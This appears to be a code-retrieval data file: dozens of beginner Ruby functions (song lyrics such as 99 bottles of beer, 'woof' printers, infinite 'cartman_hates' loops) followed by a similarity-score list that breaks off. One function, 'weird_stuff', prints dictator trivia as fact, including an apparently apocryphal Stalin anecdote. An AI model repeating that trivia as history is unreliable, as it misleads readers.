"def little_monkeys(num)\n\n monkeys = {\n 1000 => \"thousand\",\n 100 => \"hundred\",\n 90 => \"ninety\",\n 80 => \"eighty\",\n 70 => \"seventy\",\n 60 => \"sixty\",\n 50 => \"fifty\",\n 40 => \"forty\",\n 30 => \"thirty\",\n 20 => \"twenty\",\n 19 => \"nineteen\",\n 18 => \"eighteen\",\n 17 => \"seventeen\",\n 16 => \"sixteen\",\n 15 => \"fifteen\",\n 14 => \"fourteen\",\n 13 => \"thirteen\",\n 12 => \"twelve\",\n 11 => \"eleven\",\n 10 => \"ten\",\n 9 => \"nine\",\n 8 => \"eight\",\n 7 => \"seven\",\n 6 => \"six\",\n 5 => \"five\",\n 4 => \"four\",\n 3 => \"three\",\n 2 => \"two\",\n 1 => \"one\"\n }\n\n monkeys.each { |key, value|\n if key > 1 && key <= num\n puts \"#{value} little monkeys jumping on the bed,\n one fell off and bumped his head,\n Mama called the doctor and the doctor said,\n 'No more monkeys jumping on the bed!''\"\n elsif key == 1\n puts \"One little monkey jumping on the bed,\n He fell off and bumped his head,\n Mama called the doctor and the doctor said,\n 'Get those monkeys right to bed!'\"\n # else\n # puts \"How many monkeys is a number! Duh!\"\n end\n }\n end",
"def ninety_nine_bottles_of_beer\n 99.downto(1) do |n|\n nouns = Hash.new('bottles')\n nouns[1] = 'bottle'\n\n puts \"#{n} #{nouns[n]} of beer on the wall\"\n puts \"#{n} #{nouns[n]} of beer\"\n puts 'take one down, pass it around'\n puts \"#{n-1} #{nouns[n-1]} of beer on the wall\\n\\n\" if n > 1\n end\n puts 'no bottles of beer on the wall'\nend",
"def ninety_nine_bottles_of_beer\n #99 bottles of beer on the wall, 99 bottles of beer.\n #Take one down and pass it around, 98 bottles of beer on the wall.\n number_of_bottles = 99\n while number_of_bottles > 1\n puts \"#{number_of_bottles} bottles of beer on the wall, #{number_of_bottles} bottles of beer\"\n puts \"Take one down and pass it around, #{number_of_bottles - 1} bottles of beer on the wall.\"\n number_of_bottles -= 1\n end\n#################################\n puts \"1 bottle of beer on the wall, 1 bottle of beer\"\n puts \"Take one down and pass it around, no more bottles of beer on the wall.\"\n#################################\n puts \"No more bottles of beer on the wall, no more bottles of beer.\"\n puts \"Go to the store and buy some more, 99 bottles of beer on the wall.\"\nend",
"def speak(n)\n \t\"Woof! \" * n\n end",
"def ninety_nine_bottles_of_beer\n for i in 1..98\n puts \"#{100 - i} bottles of beer on the wall, #{100 - i} bottles of beer.\"\n puts \"Take one down and pass it around, #{99 - i} bottles of beer on the wall.\"\n puts \"\"\n end\n puts \"1 bottle of beer on the wall, 1 bottle of beer.\"\n puts \"Take one down and pass it around, no more bottles of beer on the wall.\"\n puts \"\"\n puts \"No more bottles of beer on the wall, no more bottles of beer.\"\n puts \"Go to the store and buy some more, 99 bottles of beer on the wall.\"\nend",
"def little_monkeys(num)\n if num > 1\n puts \"#{num.humanize.capitalize} little monkeys jumping on the bed,\"\n puts \"One fell off and bumped his head,\"\n puts \"Mama called the doctor and the doctor said,\"\n puts '\"No more monkeys jumping on the bed!\"'\n elsif num == 1\n puts \"#{num.humanize.capitalize} little monkey jumping on the bed,\"\n puts \"He fell off and bumped his head,\"\n puts \"Mama called the doctor and the doctor said,\"\n puts '\"Get those monkeys right to bed!\"'\n end\nend",
"def bottle_song_lyrics(n)\n bottle_counter = n\n bottles_remaining = n-1\n song = \"\"\n while bottle_counter >= 1\n if bottle_counter > 1\n song << \"#{bottle_counter} bottle of beer on the wall, #{bottle_counter} bottle of beer. Take one down, pass it around, #{bottles_remaining} bottle of beer on the wall! \"\n else\n song << \"1 bottle of beer on the wall, 1 bottle of beer. Take one down, pass it around, no more bottles of beer on the wall!\"\n end\n bottle_counter -= 1\n bottles_remaining -=1\n end\n song\nend",
"def bottles_of_beer (n)\n\treturn \"No more bottles of beer on the wall\" if n == 0\n\treturn \"#{n} bottles of beer on the wall\\r\\n\" + bottles_of_beer(n-1)\nend",
"def meow\r\n\t\t# output: prints string of # of meows based on talkative-ness\r\n\t\t\t# IF mild (1 to 3) , meows once\r\n\t\t\tputs \"meowww\" if (1..3).include?(@meowiness)\r\n\t\t\t# IF medium (4 to 6), meows 3 times\r\n\t\t\t3.times { print \"meowww \"} if (4..6).include?(@meowiness)\r\n\t\t\t# IF high (7 to 8), meows 5 times,\r\n\t\t\t5.times { print \"meowwww \" } if (7..8).include?(@meowiness)\r\n\t\t\t# IF really high (9 to 10), meows 5 times, CAPS\r\n\t\t\t5.times { print \"meowwww \".upcase } if (9..10).include?(@meowiness)\r\n\t\tend",
"def bottle_song(n)\n truck = n\n until n == 0\n puts \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\n puts \"Take one down, pass it around, #{n-1} bottles of beer on the wall!\"\n n -= 1\n end\n if n == 0\n puts \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\n puts \"Take the truck, fill it back up. #{truck} bottles of beer on the wall\"\n n = truck\n end\n until n == 1\n puts \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\n puts \"Take one down, pass it around, #{n-1} bottles of beer on the wall!\"\n n -= 1\n end\n if n == 1\n n = \"no\"\n puts \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\n puts \"SUCKS TO BE YOU!!\"\n end\nend",
"def speak (bark_num)\n bark_num.times {puts \"Woof!\"}\n end",
"def beer_bottles(beer)\n\n while beer > 0\n p english_number(beer) + \" bottles of beer on the wall, \" + english_number(beer) + \" bottles of beeeeeer.\" + \n \" Take one down, pass it around. \" + english_number(beer-1) + \" bottles of beer on the wall.\"\n \n beer -= 1\n end\nend",
"def beer_song number\r\n\r\n\twhile number != 0\r\n\t\tputs number.to_s + \" bottles of beer on the wall, \" + number.to_s + \" bottles of beer.\"\r\n\t\tnumber -= 1\r\n\t\tputs \"Take one down and pass it around, \" + number.to_s + \" bottles of beer on the wall.\"\r\n\t\tputs\r\n\tend\r\nend",
"def bottles num_bottles\n first_lyric = \" bottles of beer on the wall, \" \n second_lyric = \" bottles of beer.\"\n third_lyric = \"Take one down and pass it around, \"\n fourth_lyric = \" bottles of beer on the wall.\"\n\n puts num_bottles.to_s + first_lyric + num_bottles.to_s + second_lyric\n\n if num_bottles != 1\n puts third_lyric + (num_bottles - 1).to_s + fourth_lyric\n else\n puts third_lyric + \"no\" + fourth_lyric\n end\n\n num_bottles = num_bottles - 1\n puts \"\"\n if num_bottles > 0 \n bottles num_bottles\n else\n puts \"No more bottles of beer on the wall, no more bottles of beer.\n Go to the store and buy some more, 99 bottles of beer on the wall.\"\n end\nend",
"def beer_song(number_of_beers)\n\n\tif number_of_beers >=2\n\t\tbeer_array = (3 .. number_of_beers).to_a.reverse\n\n\t\tbeer_array.each do |n|\n\t\t\tputs \"#{n} bottles of beer on the wall,\"\n\t\t\tputs \"#{n} bottles of beer,\"\n\t\t\tputs \"take 1 down and pass it around,\"\n\t\t\tputs \"#{n-1} bottles of beers on the wall!\"\n\t\t\tputs \" \"\t\n\t\tend\n\t\tputs \"2 bottles of beer on the wall,\"\n\t\tputs \"2 bottles of beer,\"\n\t\tputs \"take 1 down and pass it around,\"\n\t\tputs \"Only 1 bottle of beers on the wall!\"\n\t\tputs \" \"\n\n\telse\n\t\t\" \"\n\tend\n\n\tputs \"1 bottle of beer on the wall,\"\n\tputs \"1 bottle of beer,\"\n\tputs \"take it down and pass it around,\"\n\tputs \"No bottles of beers on the wall!\"\n\tputs \" \"\n\nend",
"def bottles(n)\n if n == 0\n puts 'no more bottles of beer on the wall'\n else\n puts \"#{n} bottles of beer on the wall\"\n bottles(n - 1)\n end\nend",
"def bottles_lyrics bottles\n while bottles != 0\n if bottles > 1\n puts \"#{bottles} bottles of beer on the wall, #{bottles} bottles of beer.\\nTake one down and pass it around, #{bottles - 1} bottles of beer on the wall.\\n\\n\"\n else\n puts \"No more bottles of beer on the wall, no more bottles of beer.\\nGo to the store and buy some more, #{bottles} bottles of beer on the wall.\\n\\n\"\n end\n bottles -= 1\n end\nend",
"def ninty_nine(beer)\n\t \n\tcurrent_beers = beer\n\n\twhile current_beers > 0\n\n\t\tif current_beers == 1 # to make sure the string is singular or plural\n\t\t\tsingular = ' bottle'\n\t\telse\n\t\t\tsingular = ' bottles'\n\t\tend\n\n\t\tputs english_number(current_beers).capitalize + singular + ' of beer on the wall,'\n\t\tputs english_number(current_beers) + singular + ' of beer!'\n\t\tputs 'Take one down, pass it around,'\n\t\tcurrent_beers -= 1\n\t\tputs english_number(current_beers).capitalize + singular + ' of beer on the wall.'\n\tend\nend",
"def verse(n)\n\t\tbefore = bottles_as_str(n) \n\t\tafter = bottles_as_str(n-1)\n\t\tputs \"#{before} of beer on the wall,\",\n\t\t\t \"#{before} of beer,\",\n\t\t\t \"Take one down, pass it around,\",\n\t\t\t \"#{after} of beer on the wall.\"\n\tend",
"def bottles(n)\n if n.zero?\n puts \"no more bottles of beer on the wall\"\n return\n end\n\n puts \"#{n} bottles of beer on the wall\"\n\n bottles(n - 1)\nend",
"def hard(input)\n 50.times { input = look_and_say(input) }\n input.length\nend",
"def count_sheep(num)\n answer = ''\n i = 0\n loop do\n i += 1\n answer += \"#{i} sheep...\"\n if i == num\n break\n end\n end\n answer\nend",
"def bottles(n)\n if n == 0 \n puts 'no more bottles of beer on the wall'\n else\n puts \"#{n} bottles of beer on the wall \"\n bottles(n-1)\n end\nend",
"def starting_msg(n)\n \"#{n} bottles of beer on the wall, #{n} bottles of beer.\"\nend",
"def dicks (n)\n n.times do\n puts \"#{BALLS}#{SHAFT * (rand(10)+1)}#{HEAD}\"\n end\nend",
"def count_sheep(num)\n (1..num).map {|i| \"#{i} sheep...\"}.join\nend",
"def speak(repetitions)\n repetitions.times {puts \"Woof!\"}\n end",
"def print_song\n\n num = @bottles\n\n if num == 0\n puts \"\"\n elsif num == 1\n puts \"One bottle of beer on the wall,\"\n puts \"One bottle of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"Zero bottles of beer on the wall.\"\n elsif num == 2\n puts \"Two bottles of beer on the wall,\"\n puts \"Two bottles of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"One bottle of beer on the wall,\"\n puts \"One bottle of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"Zero bottles of beer on the wall.\"\n\n else\n\n num.downto(3) do\n |num|\n eng = english_number(num)\n puts \"#{eng.capitalize} bottles of beer on the wall,\"\n puts \"#{eng.capitalize} bottles of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"#{english_number(num-1).capitalize} bottles of beer on the wall,\"\n end\n puts \"Two bottles of beer on the wall,\"\n puts \"Two bottles of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"One bottle of beer on the wall,\"\n puts \"One bottle of beer,\"\n puts \"Take one down, pass it around,\"\n puts \"Zero bottles of beer on the wall.\"\nend\nend",
"def bottles(n)\n if n == 0\n puts 'no more bottles of beer on the wall'\n elsif n == 1\n puts \"#{n} bottle of beer on the wall\"\n bottles(n - 1)\n else\n puts \"#{n} bottles of beer on the wall\"\n bottles(n - 1)\n end\nend",
"def beer_bottles(start_number)\n start_number.downto(1) do |i|\n print \"#{i} bottle#{i > 1 ? \"s\" : \"\"} of beer on the wall,\", \" #{i} bottle#{i > 1 ? \"s\" : \"\"} of beer\", \"\\n\"\n if i >= 2\n print \"Take one down, pass it around\",\" #{i-1} bottle#{i > 2 ? \"s\" : \"\"} of beer on the wall!\\n\\n\"\n else\n print \"Take one down, pass it around,\",\" no more bottle#{i <= 1 ? \"s\" : \"\"} of beer on the wall!\\n\\n\"\n end\n end\nend",
"def print_rhyme(verse_total, is_gender_neutral)\n\n # This array 'num_names' contains English names for\n # numbers from zero to twenty.\n #\n # Though numbers 0 & 1 are not used in the current application,\n # they are included for clarity so that array indexes will\n # correspond to their English names.\n #\n # English names are un-capitalized to give this array\n # general application. Any required\n # capitalization must be accomplised in the code\n num_names = ['zero', 'one', 'two', 'three', 'four', 'five',\n 'six', 'seven', 'eight', 'nine', 'ten',\n 'eleven', 'twelve', 'thirteen', 'fourteen', 'fifteen',\n 'sixteen', 'seventeen', 'eighteen', 'nineteen', 'twenty']\n\n #Print verses greater than 1 in descending order\n verse_counter = verse_total\n until verse_counter == 1 do\n if verse_counter <= 20 #Use my own names array for values up to 20\n puts \"#{num_names[verse_counter].capitalize} little monkeys jumping on the bed,\"\n else #Use a ruby gem to get number names for higher values\n puts \"#{NumbersInWords.in_words(verse_counter).capitalize} little monkeys jumping on the bed,\"\n end\n is_gender_neutral ? (puts 'One fell off and bumped zir head') :\n (puts 'One fell off and bumped his head')\n puts 'Mama called the doctor and the doctor said,'\n puts '\"No more monkeys jumping on the bed!\"'\n puts\n verse_counter -= 1\n end\n\n #Print the final verse\n puts 'One little monkey jumping on the bed,'\n is_gender_neutral ? (puts 'Ze fell off and bumped zir head,') :\n (puts 'He fell off and bumped his head,')\n puts 'Mama called the doctor and the doctor said,'\n puts '\"Get those monkeys right to bed!\"'\n puts\nend",
"def bottles(n)\n if n.zero?\n return puts \"No more bottles of beer on the wall\"\n elsif n == 1\n puts \"1 bottle of beer on the wall\"\n else\n puts \"#{n} bottles of beer on the wall\"\n end\n bottles(n-1)\nend",
"def spell(n)\n result = \"\"\n remaining = n\n \n while (remaining > 0) \n result.insert(0, lookup(remaining % 10).concat(\" \"))\n remaining = remaining / 10\n end\n \n return result\nend",
"def repeat_yourself(word, count)\n count.times {puts word}\n end",
"def say_moo number_of_moos\n\tputs 'moooooooo....'*number_of_moos\nend",
"def speak(num)\n num.times do\n p \"Woof!\"\n end\n end",
"def hamstrings_stretch\n \"Remaining seated, extend one leg outward. Reach toward your toes. Hold for 10 to 30 seconds. Repeat on the other side. Be sure to do this one leg at a time, as doing this exercise with both legs out can cause back issues.\"\nend",
"def games_title_fly_in_01\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \" $$$$$$$$$$ $$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$ $$$\"\n puts \" $$$$$$$$$$ $$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$$$$$$$$ $$$ $$$\"\n puts \" $$$ $$$ $$$ $$$ $$$ $$$$ $$$ $$$ $$$ $$$ $$$$ $$$\"\n puts \" $$$$$$$ $$$ $$$$$$$$$$ $$$ $$$$ $$$$$$$$ $$$ $$$ $$$$$$ $$$\"\n puts \" $$$$$$$ $$$ $$$$$$$$$$ $$$ $$$$ $$$$$$$ $$$ $$$ $$$ $$$$$$\"\n puts \" $$$ $$$ $$$ $$$ $$$ $$$$ $$$ $$$ $$$ $$$ $$$ $$$$\"\n puts \" $$$ $$$$$$$$$ $$$ $$$ $$$ $$$$$$$$$$ $$$ $$$ $$$$$$$$$$ $$$ $$$\"\n puts \" $$$ $$$$$$$$$ $$$ $$$ $$$ $$$$$$$$$$ $$$ $$$ $$$$$$$$$$ $$$ $$$\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\n puts \"\"\nend",
"def tally\n player = @game.player\n output = \"\"\n output << \"Tally at present is #{player.score}\\n\"\n output << \"You have killed #{player.monsters_killed} monsters so far...\\n\" if rand > 0.5\n\n puts output\n\n output\n end",
"def count_sheep\n\t5.times do |sheep|\n\t\tputs sheep\n\tend\nend",
"def monkey_count(n)\n str = []\n i = 1\n while i <= n\n str.push(i)\n i += 1\n end\n return str\nend",
"def say_hello_ten_times\n\nphrase = \"Hello World!\"\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nputs phrase\nend",
"def jumping_jacks(number, energy)\n count = 0\n while count < number\n if energy >= 15\n count += 1\n energy -= 15\n puts \"Did #{count} jumping jacks, you have #{energy} energy left.\"\n else\n puts \"Waiting, #{energy} energy left.\"\n energy += 5\n end\n end\nend",
"def meow (num)\n num.times {puts\"Meowww\"}\n end",
"def count_sheep\n\t5.times do |sheep|\n\t puts sheep\n\tend\nend",
"def weird_stuff\n puts \"Mussolini apparently liked to eat raw garlic, although he suffered\n from severe stomach ulcers. He also had many Jewish friends, and didn't like\n Hitler very much. Yeah right!\"\n #sleep(20)\n puts \"Idi Amin gave himself the title His Excellency, President for Life Field\n Marshall Al Hadj Doctor Idi Amin Dada, VC, DSO, MC, Lord of all the Beasts\n of the Earth and Fishes of the Sea and Conqueror of the British Empire in\n Africa in General and Uganda in particular.\"\n #sleep(20)\n puts \"Adolf Hitler thought of himself as a pacifist. He was a vegetarian.\n It is said that he injured his groin during World War I, and his left\n testicle was removed. Hitler enjoyed watching Charley Chaplin, who made fun\n of Hitler.\"\n #sleep(20)\n puts \"Stalin was also the man behind the most wicked practical joke ever\n played. Being a very private man he gave the order that no person should\n enter his bed chambers on pain of death. Later, while in his chambers he\n decided to test whether his guards had listened to this instruction.\n Pretending to scream in pain, he called for the guards stationed outside\n the door. Fearing that their leader was in trouble the guards burst into\n the room. Stalin had them executed for failing to follow his standing orders.\n This little prank soon backfired, however, when Stalin suffered a seizure\n while alone in his bedroom. The guards were too afraid to enter, finding\n him hours later laid in a puddle of stale urine. He died three days later.\"\n #sleep(30)\n puts \"Niyazov loved to rename things. For example, he renamed the month of\n January Turkmenbashi, which means Father of the Turkmen, a name he gave\n himself. He also 'legislated' the renaming of the days of the week to ones\n that translate to 'Young Day', 'Spirituality Day', etc. He even renamed the\n word 'bread', Gurbansoltan, after his own mother. Niyazov outlawed beards on\n men and cosmetics on TV anchors, and prohibited both chewing tobacco and lip-\n syncing on Turkmenistan soil. In a society of smokers, Niyazov recommended\n that people chew on bones, which he argued would strengthen their teeth. He\n authored a book, the Book of the Soul, and ordered students in schools and\n mosques to read and study it, and in the case of mosques, to give it equal\n respect to the Quran (and if not, the mosque would be demolished). To get a\n driver's license, people had to memorize the contents of the book. Finally,\n Niyazov told everyone that he had made a pact with G-d that anyone who read\n his book three times would go to heaven. In 2005, he ordered a copy of his\n book to be sent to outer space.\"\n #sleep(60)\n puts \"Mussolini apparently liked to eat raw garlic, although he suffered\n from severe stomach ulcers. He also had many Jewish friends, and didn't like\n Hitler very much. Yeah right!\"\n #sleep(10)\n puts \"He gave himself the title His Excellency, President for Life Field\n Marshall Al Hadj Doctor Idi Amin Dada, VC, DSO, MC, Lord of all the Beasts\n of the Earth and Fishes of the Sea and Conqueror of the British Empire in\n Africa in General and Uganda in particular.\"\n end",
"def speak(num)\n num.times{|x| puts \"Woof!\"}\n end",
"def cartman_hates(thing)\n\twhile true\n \tputs \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n\twhile true\n puts \"What's there to hate about #{thing}?\"\nend end",
"def tame_it( number_of_shrews )\n puts \"Literally \" + number_of_shrews.to_s\nend",
"def beer_song(num)\n num_beers = (1..num).to_a.reverse\n num_beers.each_with_index do |number,i|\n if number == 1\n puts \"1 bottle of beer on the wall, 1 bottle of beer.\"\n puts \"Take one down and pass it around, no more bottles of beer on the wall.\"\n puts \"No more bottles of beer on the wall, no more bottles of beer.\"\n puts \"Go to the store and buy some more, #{num} bottles of beer on the wall\"\n else\n puts \"#{number} bottles of beer on the wall, #{number} bottles of beer.\"\n puts (\"Take one down and pass it around, #{num_beers[i+1]} bottles of beer\"+\n \" on the wall.\")\n end\n end\n return\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n\tend\nend",
"def bottles(n, total = n)\n\n puts english_number(n).capitalize + \" bottles of beer on the wall, \" +\n english_number(n) + \" bottles of beer.\"\n puts \"Take one down and pass it around, \" + english_number(n-1) +\n \" bottle#{n-1==1 ? '' : 's'} of beer on the wall.\"\n puts\n\n # recursion\n if n > 2\n bottles(n-1, total)\n else\n puts \"1 bottle of beer on the wall. 1 bottle of beer.\"\n puts \"Take one down and pass it around, no more bottles of beer on the wall.\"\n puts\n puts \"No more bottles of beer on the wall. No more bottles of beer.\"\n puts \"Go to the store and buy some more, \" + english_number(total) +\n \" bottles of beer on the wall.\"\n puts\n end\nend",
"def full_game\n 52.times do\n round\n end\n output\n rematch\n end",
"def find_hundreds (n)\n words =\"\"\n num_words = Hash.new(0)\n num_words = {1=>\"One\",2=>\"Two\",3=>\"Three\",4=>\"Four\",5=>\"Five\",6=>\"Six\",7=>\"Seven\",8=>\"Eight\",9=>\"Nine\",10=>\"Ten\",11=>\"Eleven\",12=>\"Twelve\",13=>\"Thirteen\",14=>\"Fourteen\",15=>\"Fifteen\",16=>\"Sixteen\",17=>\"Seventeen\",18=>\"Eighteen\",19=>\"Nineteen\",20=>\"Twenty\",30=>\"Thirty\",40=>\"Fourty\",50=>\"Fifty\",60=>\"Sixty\",70=>\"Seventy\",80=>\"Eighty\",90=>\"Ninety\"}\n\n if n/100 > 0\n # Append the String you get to the string that holds the words\n words = num_words[n/100] +\" Hundred \"\n if n%10 !=0\n words= words + \"and \"\n end\n n=n%100\n end\n\n if n/10 > 0\n if n/10 == 1\n words = words+num_words[n]+ \" \"\n elsif n%10 == 0\n words = words +num_words[n]\n else\n words = words +num_words[n/10*10] +\" \"+ num_words[n%10]\n end\n elsif n == 0\n words\n else\n words = words +num_words[n]\n end\n words\nend",
"def wonky_coins(n)\n\nend",
"def say_happy_birthday_to(name, repetitions)\n repetitions.times { |i| puts \"Happy Birthday #{name}\"}\n end",
"def number_rides(whatever)\n whatever.each do |key,value|\n y = \"Driver #{key} has #{(value.length)} ride(s).\"\n puts y\n end\nputs\nend",
"def bump(x)\n x.count('n') <= 15 ? \"Woohoo!\" : \"Car Dead\"\nend",
"def beer\n i = 99\n while i >= 0\n # binding.pry\n if i > 2\n puts i.to_s + ' bottles of beer on the wall, ' + i.to_s + ' bottles of beer.'\n puts 'Take one down and pass it around, ' + (i - 1).to_s + ' bottles of beer on the wall.',''\n elsif i == 2\n puts i.to_s + ' bottles of beer on the wall, ' + i.to_s + ' bottles of beer.'\n puts 'Take one down and pass it around, ' + (i - 1).to_s + ' bottle of beer on the wall.',''\n elsif i == 1\n puts i.to_s + ' bottle of beer on the wall, ' + i.to_s + ' bottle of beer.'\n puts 'Take one down and pass it around, no more beer on the wall.',''\n else\n puts 'No more bottles of beer on the wall, no more bottles of beer. '\n puts 'Go to the store and buy some more, 99 bottles of beer on the wall.'\n end \n\n i -= 1\n end\nend",
"def bump(x)\n x.count(\"n\") <= 15 ? \"Woohoo!\" : \"Car Dead\"\nend",
"def print_thrice(number)\n 3.times do\n puts number\n end\n end",
"def bottles(start_number)\n start_number.downto(1) do |num|\n if num == 1\n bottle = \"bottle\"\n bottles = \"bottles\"\n next_num = \"no more\"\n else\n bottle = \"bottles\"\n bottles = \"bottles\"\n next_num = num - 1\n end\n\n puts \"#{num} #{bottle} of beer on the wall, #{num} #{bottle} of beer.\"\n puts \"Take one down, pass it around, #{next_num} #{bottles} of beer on the wall.\"\n end\nend",
"def drum_roll(dramatic_text, beep)\n print \"\\a\" unless beep == false\n c = 0\n dramatic_text.length.times do\n print dramatic_text[c]\n c += 1\n sleep 0.05\nend\nend",
"def speak(int)\n \tint.times do |x|\n \tp \"Woof!\"\n \tend\n end",
"def M\r\n randomnums = Random.new\r\n roomn = randomnums.rand(1...19) \r\n while roomn == 6 or roomn == 11\r\n roomn = randomnums.rand(1...19) \r\n end\r\n puts(\"\r\n *\r\n *\r\n *\r\n *\r\n *\r\n *\r\n *\")\r\n $roomnumber = roomn\r\n if roomn == 9\r\n room_9\r\n end\r\n return \"ROOM\"\r\nend",
"def bottles(num)\n puts 'No more bottles of coke on the wall' if num.zero?\n\n if num.positive?\n puts \"#{num} bottles of coke on the wall\"\n bottles(num - 1)\n end\nend",
"def counterGame(n)\n # Write your code here\n pows = [1]\n pows.push(pows[-1] * 2) until pows[-1] >= n\n\n turn = 0\n\n until n == 1\n target_pow_i = pows.find_index { |p| p >= n }\n target_pow = pows[target_pow_i]\n if n == target_pow\n n /= 2\n else\n n -= pows[target_pow_i - 1]\n end\n\n turn += 1\n end\n\n turn.odd? ? 'Louise' : 'Richard'\nend",
"def keystream_letter\n move_joker_a\n move_joker_b\n triple_cut\n count_cut\n count_down\nend",
"def using_times\n\t7.times do\n\t puts \"Wingardium Leviosa\"\n\tend\nend",
"def to_words(n)\n\nwords_hash = {0=>\"zero\",1=>\"one\",2=>\"two\",3=>\"three\",4=>\"four\",5=>\"five\",6=>\"six\",7=>\"seven\",8=>\"eight\",9=>\"nine\",\n 10=>\"ten\",11=>\"eleven\",12=>\"twelve\",13=>\"thirteen\",14=>\"fourteen\",15=>\"fifteen\",16=>\"sixteen\",\n 17=>\"seventeen\", 18=>\"eighteen\",19=>\"nineteen\",\n 20=>\"twenty\",30=>\"thirty\",40=>\"forty\",50=>\"fifty\",60=>\"sixty\",70=>\"seventy\",80=>\"eighty\",90=>\"ninety\"}\n \nif words_hash.has_key?(n)\n return words_hash[n]\nelsif n <= 99\n\n final_string = \"\"\n remainder = (n%10)\n key_value = n - remainder\n final_string = words_hash[key_value] + \" \" + words_hash[remainder]\n return final_string\n\nelse\n return \"one hundred\"\n\nend\nend",
"def computerTurn(marbles)\r\n\tputs \"\\nMarbles left (#{marbles}) #{\" o\"*marbles}\\n\\n\"\r\n\tif marbles % 4 == 0\r\n\t\ttake = 1\r\n\telse \r\n\t\ttake = marbles % 4\r\n\tend \r\n\tputs \"The computer took #{take} marble(s)\\n\\n\"\r\n\t$turn = 1\r\n\treturn marbles - take\r\nend",
"def verse(number)\n case number\n when 0\n \"No more bottles of beer on the wall, \" +\n \"no more bottles of beer.\\n\" +\n \"Go to the store and buy some more, \" +\n \"99 bottles of beer on the wall.\\n\"\n else\n \"#{number} bottles of beer on the wall, \" +\n \"#{number} bottles of beer.\\n\" +\n \"Take #{pronoun(number)} down and pass it around, \" +\n \"#{quantity(number - 1)} #{container(number - 1)} of beer on the wall.\\n\"\n end\nend",
"def speak(integer)\n integer.times {puts \"woof!\"}\n end",
"def speak(integer)\n integer.times do\n puts \"Woof!\"\n end\n end",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def scream(number)\r\n\r\n if number == 0\r\n print \"crickets\"\r\n elsif number > 0\r\n print \"lol\"\r\n number.times do\r\n print \"ol\"\r\n end\r\n end\r\n \r\n\r\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def count_sheep\n 5.times do |sheep|\n puts sheep\n end\n 10\nend",
"def instructions(max,tries)\n puts \"Here are the instructions. \\nI have a secret number from 1 to #{max} and you have #{tries} chances to guess that number. \\nYou win if you guess correctly in #{tries} tries and I win if you don't!\"\nend",
"def shoulders_stretch \n \"Raise both shoulders at once up toward the ears. Drop them and repeat 10 times each direction.\"\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\nend\nend",
"def say_ruby_ten_times\n phrase = \"Hello World\"\n 10.times do puts phrase\n end\nend",
"def hire_thief\r\n\t\t@thieves += 1\r\n\t\tputs \"*\"*50\r\n\t\tputs \"You just hired a new thief, you now have #{@thieves} thieves working for you.\"\r\n\t\tputs \"*\"*50\r\n\tend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end # fix\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend",
"def cartman_hates(thing)\n while true\n puts \"What's there to hate about #{thing}?\"\n end\nend"
] |
[
"0.7396693",
"0.73712915",
"0.7323625",
"0.71249104",
"0.6897404",
"0.66471684",
"0.6636932",
"0.66321254",
"0.66190565",
"0.66132486",
"0.6589095",
"0.6560727",
"0.6492021",
"0.64732814",
"0.6451566",
"0.6419764",
"0.63660914",
"0.6364666",
"0.6345253",
"0.6327469",
"0.6306748",
"0.6304091",
"0.6290228",
"0.62846255",
"0.6274133",
"0.6264158",
"0.62621975",
"0.6229075",
"0.6226569",
"0.6225171",
"0.62243724",
"0.62159",
"0.61628425",
"0.6157964",
"0.61384034",
"0.60585845",
"0.60401803",
"0.6031896",
"0.6026586",
"0.60195285",
"0.60124874",
"0.6009449",
"0.6003031",
"0.6000294",
"0.5991875",
"0.5976892",
"0.5970717",
"0.5965204",
"0.5964272",
"0.59593946",
"0.59551704",
"0.59525925",
"0.59487885",
"0.59485215",
"0.5942543",
"0.59385145",
"0.5931944",
"0.59255576",
"0.5924619",
"0.5916034",
"0.5911133",
"0.5908354",
"0.59053403",
"0.5903106",
"0.5892641",
"0.5887854",
"0.5880986",
"0.5868408",
"0.5867493",
"0.58642274",
"0.5861199",
"0.5852745",
"0.58496606",
"0.58480674",
"0.5842211",
"0.58400315",
"0.5833225",
"0.5821409",
"0.5814204",
"0.5812342",
